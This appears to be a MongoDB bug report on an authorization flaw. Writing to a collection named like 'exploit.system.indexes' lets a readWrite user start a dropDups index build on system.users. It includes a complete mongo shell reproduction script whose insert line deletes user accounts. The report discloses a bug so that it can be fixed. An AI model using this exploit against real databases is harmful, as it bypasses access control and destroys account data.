There is (arguably) an error in the logic that decides whether to associate ActionType::ensureIndex with an insert request. A readWrite user can exploit this error to initiate a dropDups index build on system.users by writing to a collection named e.g. exploit.system.indexes.
Reproduce with:
conn = MongoRunner.runMongod({auth:''})
adminDb = conn.getDB("admin")
testDb = conn.getDB("test")
adminDb.addUser({user:'admin', pwd:'x', roles:['userAdminAnyDatabase']})
adminDb.auth('admin','x')
adminDb.addUser({user:'mallory', pwd:'x', roles:[], otherDBRoles:{test:['readWrite']}})
testDb.addUser({user:'user1', pwd:'x', roles:['read']})
testDb.addUser({user:'user2', pwd:'x', roles:['read']})
assert.eq(2, testDb.system.users.count())
adminDb.logout()
adminDb.auth('mallory','x')
testDb.exploit.system.indexes.insert({ns: "test.system.users", key: { haxx: 1.0 }, name: "haxx_1", unique: true, dropDups: true})
adminDb.logout()
adminDb.auth('admin','x')
// The following fails with "assert: [2] != [1] are not equal : undefined"
assert.eq(2, testDb.system.users.count())
MongoRunner.stopMongod(conn)
- depends on
-
SERVER-8814 Inserts into any namespace ending in ".system.indexes" are treated like inserts into "system.indexes" and actually build indexes.
-
- Closed
-